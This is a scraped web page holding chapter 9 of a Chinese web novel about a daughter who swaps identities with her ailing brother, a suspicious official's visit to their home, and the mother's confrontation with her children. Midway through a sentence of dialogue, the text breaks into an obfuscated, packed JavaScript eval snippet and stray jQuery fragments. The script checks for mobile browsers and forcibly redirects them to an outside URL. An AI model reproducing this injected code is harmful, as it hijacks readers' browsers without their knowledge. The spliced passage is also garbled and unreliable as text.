默认冷灰
24号文字
方正启体

9. 第 9 章

作者:吉象土豆儿本书字数:K更新时间:
    李敬和车夫两个一卧一趴,远远看去,像两具死的安静的尸体。


    邢姝砚分别扔了个小石子在两人身上,都没有动静,这才从藏身处走了出来。


    常三咧着嘴,露出一口大白牙,夸张的竖了两个拇指给她。


    今天晚上这一遭,实在是过的有意思啊!不过这两人也太没用了,这么快就吓晕了,好有好些手段没使出来呢,真是可惜!


    他们两个围着倒地的人转了两圈,又探了探,知道没什么大碍,这才有条不紊的拆除周边的布置,收拾现场,把一切都恢复成原样。


    然后,溜之大吉!


    这天晚上,邢姝砚睡的非常好,连个梦都没做,第二天早上起来后神清气爽。


    李敬家里就不一样了,夫人不在家,没有做主的人,只能一窝蜂似的乱转,最后还是小湖边的车夫先醒过来,把昏迷不醒的李敬搬上马车,弄回家去。


    接着又是请大夫,又是煎汤药,折腾到快三更,人终于醒了。


    醒了之后的李敬开始胡言乱语,一会儿说是见鬼了,一会儿又嚷嚷着鬼别吃他。


    众人一看不行,这么下去不是个办法,连夜去了一趟夫人娘家把人接了回来,为此,差点还和巡街的兵卒闹起来。


    好在几近天明时李敬终于安静下来,慢慢的睡了过去。


    眼看着是不能上值了,他夫人遣人去衙门告了假,只说是受了寒发起了烧,其他的一概不提。


    再说邢家这边,邢姝砚虽和邢书同调换了身份,一时半会却不能扮的天衣无缝。


    邢姝砚还好点,有前世的加持,不细看就看不出来。


    邢书同就不一样了,扮上女装后哪哪儿都别扭,走路步子太大,动作太大开大合,一点都没有女子的婉约。


    邢姝砚没办法,只好押着他学习,学习女子的妆容、姿态、动作和言语。


    邢书同好几次想反抗,都被妹妹凶巴巴的眼神镇压下去。


    就这么挨到了午后,休息好了的邢姝砚还想继续,就听大门被人拍响,她飞快的反应过来,把学成四不像的亲哥哥一把推进西厢房。


    “就在这儿待一会儿,要是有人来了,就装病,知道吗?”


    眼见邢书同点头答应,她这才整了整衣服,大步往门口走去,走到一半,想起来自己现在的人设,忙又放慢了步子,一摇三晃的去了门口。


    拉开大门,首先映入眼帘的就是昨晚会过面的李家马车,只是车夫换了。


    终于来了,她心道。


    面上不动声色,只作茫然状,“请问……你们是?”


    敲门的人满脸堆着笑,“是邢归鸿邢书吏的家吧?我叔叔是你家旧识,特意过来看望,不知道方不方便?”


    方便,当然方便。


    要不被看一看,昨晚那些话不就白准备了吗?


    邢姝砚假装沉吟了一下,慢慢的退开两步,“既然是家父旧识,就请进来吧。”


    敲门的人是李敬的侄子李蔼,他听了,赶紧跑去马车边把李敬扶下来。


    下来的除了李敬,还有李敬的夫人,邢姝砚心里咯噔一声,这可是在意料之外。


    这也就是她被前世的经历混淆了记忆,要知道,现在他们一家孤儿寡母,哥哥还撑不起门楣,这种情况下,家里是不适合迎接男客的,是以才有李敬夫人陪来这一遭。


    事到如今,没有别的办法,只能硬着头皮往下走了,只希望一切顺利才好。


    车夫看着马车,只李敬几人进得门来,见院子里确实空落落的,李敬夫人便朝李敬点了点头。


    李家送上表礼,邢姝砚接过,站在院子中间,踌躇道:“本该迎几位去正房的,只是家母卧病,不太方便。”


    邢家虽是小四合院,现下却有三个病人,各据一方,确实不好安排。


    李敬夫人笑道:“这有什么,我们是来探望的,自然要看主人家方便与否。不过,既然都来了,不知道是不是方便探望一下令慈,毕竟,我同她已神交许久了。”


    邢姝砚笑了一下,“当然可以,您请。”


    说完,便在前头带路。


    丁秀兰已经略略能动了,只是不能劳累,还是以卧床为主,听到有人进来,挣扎着要起身。


    李敬夫人一进去,就快步上前两步,伸出手去握住丁秀兰的手,“好姐姐,可算是见着了。”


    丁秀兰两眼迷茫,这人谁啊?


    李敬夫人介绍自己,“我夫家姓李,娘家姓谢,闺名繁敏,姐姐叫我繁敏也行,叫我李家的也行。”


    这话就有些说笑的意思在内了,也拉近了和丁秀兰的距离。


    邢姝砚在一旁补充:“这是父亲的同僚李敬李典吏的家眷,特意来家里探望的。”


    她说完便在一边候着,一是不好把人撇在那里不管,二是准备随时来堵丁秀兰的嘴。


    她扮男装可以骗过别人,但骗不了生养自己的亲娘,丁秀兰可是往她这边瞄了好几眼了。


    她在里面提心吊胆,院子里的两个人就轻松多了。


    李敬没有多少精神,李蔼却没有顾虑,东边瞅瞅西边看看,把个不大的院子里里外外看了个遍,就连东厢房也没有放过。


    只是邢书同常年吃药,房间里早就浸满了药味,一闻之下,刺鼻的厉害。


    伸手在鼻子跟前挥了挥,对李敬说了三个字:“药罐子。”


    他们知道邢家一儿一女,见西厢房的门关着,便没有上前。


    李敬早在来邢家之前就对邢家的事做了一番打探,只是犹不放心,亲自过来确认。


    没等多少时间,谢氏从正房里出来,眼圈有些发红,看到身边跟着的邢姝砚时又哽咽了一下,拍拍她的手臂,“好孩子,照顾好你母亲和你妹妹。”


    然后对李敬道:“我们走吧。”


    看着几人上车离开,邢姝砚呯的关上大门,拍拍胸口,长出一口气,好悬好悬!


    刚才丁秀兰差点就顺嘴叫出了她的名字,幸好邢姝砚反应快。


    李家马车里,李敬懒懒的靠着车壁,“怎么样?”


    “什么怎么样?”谢氏扔掉染了姜汁的帕子,“就那样呗,一家子病的病弱的弱,有今天没明天的。”


    说完,又瞪了李敬一眼,“你让我做的事我可是做到了,别忘了把那两个小狐狸精送走,不然,可没有下次了。”


    李敬赶紧堆起笑来,“是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546168|204160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是是,劳烦娘子了,我一回去就把人送走,以后只守着你过。”


    “油嘴滑舌。”谢氏啐了他一口,“还是想想眼前这事怎么解决吧?”


    说起这事来,李敬就头疼的紧,朝着帘子外叫:“李蔼,进来一下。”


    等李蔼进来,李敬就让他把看到的情形说一说。


    三人六眼,把看到听到的事情一一交流过,一时都作了难。


    邢家这事,俩字:难办!


    想起昨晚上的厉鬼来,李敬头就疼起来,哎呦哎呦顺着车壁往下滑,吓的李蔼一下子抱住了他。


    等人重新坐好后,谢氏用力捶了他一把,“出息!”


    李敬带着委屈的小鼻音,“那可是厉鬼啊,你能那么出息?”


    见谢氏又要捶他,忙往旁边蹭了蹭,“先别说这些个了,还是说说怎么办吧!”


    “邢家的事,当务之急,还是缺钱。”谢氏道。


    “这怎么说?”李蔼问。


    “邢家几人虽说病的厉害,却没到药石不能医的地步,有了钱,就有了药,再吃点好的养一养,必是能养回来。只是这是个水磨功夫,非天长日久不可奏效。”


    “那我们给他钱。”李敬道。


    谢氏朝他翻了个白眼,伸出三根手指在他眼前用力晃了晃,“三个病人!你当是阿猫阿狗哪,给口吃的就能活?除此之外,还有将来成亲的事,你别忘了,那什么可是要‘儿孙满堂’‘血脉延续’!”


    李敬嘶了一口冷气,不知想到了什么,“以前也没这么不讲道理啊!”


    “你都说了,那是以前!”谢氏又白了他一眼。


    且不说三人在这里嘀嘀咕咕商量章程。


    单说邢家,人刚一走,邢姝砚又被丁秀兰叫了进去,人还没站稳,就听丁秀兰道:“说吧,你这身装扮是怎么回事?”


    这事,没法回避。


    邢姝砚觑着丁秀兰的脸色,挑挑捡捡把事情说了一遍,然后就见对方满脸的泪水。


    “娘,娘!”邢姝砚慌的跪了下来,膝行至床前,“娘你别哭啊,我们都是认真思考过的,绝对没有疏漏。”


    丁秀兰闭上眼睛,深深吸了口气,“把你哥哥叫过来吧。”


    听到消息过来的邢书同站在正房门口,一双脚怎么都抬不起来,仿佛有千金重。


    踌躇了好半晌,终于进得门去,再进到里间,就见丁秀兰下了床,正坐在旁边的椅子上,邢姝砚乖乖的跪在她旁边。


    丁秀兰生了一儿一女,儿子知书识礼,女儿聪慧懂事,她没少为此欣慰。


    如今旦夕间,女儿成了儿子,儿子成了女儿。


    看着门口一身女孩儿打扮的儿子,她眼圈更红,“你过来。”


    邢书同过去,丁秀兰的手慢慢的抚上他的脸颊,一寸一寸的摸,一寸一寸的看。


    邢姝砚颤抖着声音道:“娘,主意是我出的,跟哥哥没关系,我还威胁他和我互换身份,你别怪他!”


    不怪邢姝砚担忧,她前世可没少看这样的电视剧,多数时候都是当娘的一巴掌朝儿子打去,然后勒令他不准吃不准喝,还要跪祠堂。


    邢书同身子那么弱,怎么受得住?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)